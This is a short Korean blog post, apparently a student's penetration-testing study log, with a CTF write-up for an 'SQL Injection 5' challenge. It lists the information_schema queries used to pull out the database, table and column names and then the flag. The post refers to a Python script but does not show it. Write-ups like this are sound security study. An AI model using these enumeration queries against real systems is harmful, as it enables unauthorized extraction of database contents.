Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- lord of sql injection
- Los
- union sql injection
- 모의해킹
- cors
- 쿠키
- Reflected Xss
- cookie 탈취
- 웹개발
- sql injection point
- 로그인
- Error based sql injection
- 세션
- lord of sqli
- php
- 게시판 만들기
- JWT
- sql injection
- file upload
- 로그인페이지
- Cross Site Request Forgery
- Python
- CTF
- css
- XSS
- MySQL
- JS
- 과제
- csrf
- blind sql injection
Archives
- Today
- Total
Almon Dev
ctf 풀이 (SQL Injection 5) 본문
ctf 문제 풀이
SQL Injection 5
풀이
SQL Injection 5역시 4번과 php 로직은 같은것으로 보입니다.
sql injection3에서 만들었던 python을 이용해서 풀어보겠습니다.
1> DB명 추출
select database()
=> DB 명 : sqli_2_2
2> Table명 추출
select table_name from information_schema.tables where table_schema='sqli_2_2' limit 0,1
=> Table 명 : flagTable_this, member
3> Column명 추출
select column_name from information_schema.columns where table_schema='sqli_2_2' and table_name='flagTable_this' limit 0,1
=> flagTable_this Column 명 : idx, flag
4> 데이터 추출
select flag from flagTable_this limit 0,1
문제의 인내심을 가져라 라는게 하나하나 해보라는 뜻 같습니다.
idx와 group_concat을 이용해서 문자열이 잘리지 않을정도로만 출력하면서 확인하는 방법도 있습니다.
'모의해킹 > 모의해킹' 카테고리의 다른 글
모의해킹 공부 8주차 (SQL Injection) (1) | 2024.12.06 |
---|---|
ctf 풀이 (SQL Injection 6) (0) | 2024.12.02 |
ctf 풀이 (SQL Injection 4) (0) | 2024.11.30 |
ctf 풀이 (SQL Injection 3) (2) | 2024.11.29 |
모의해킹 공부 7주차 (SQL Injection) (0) | 2024.11.29 |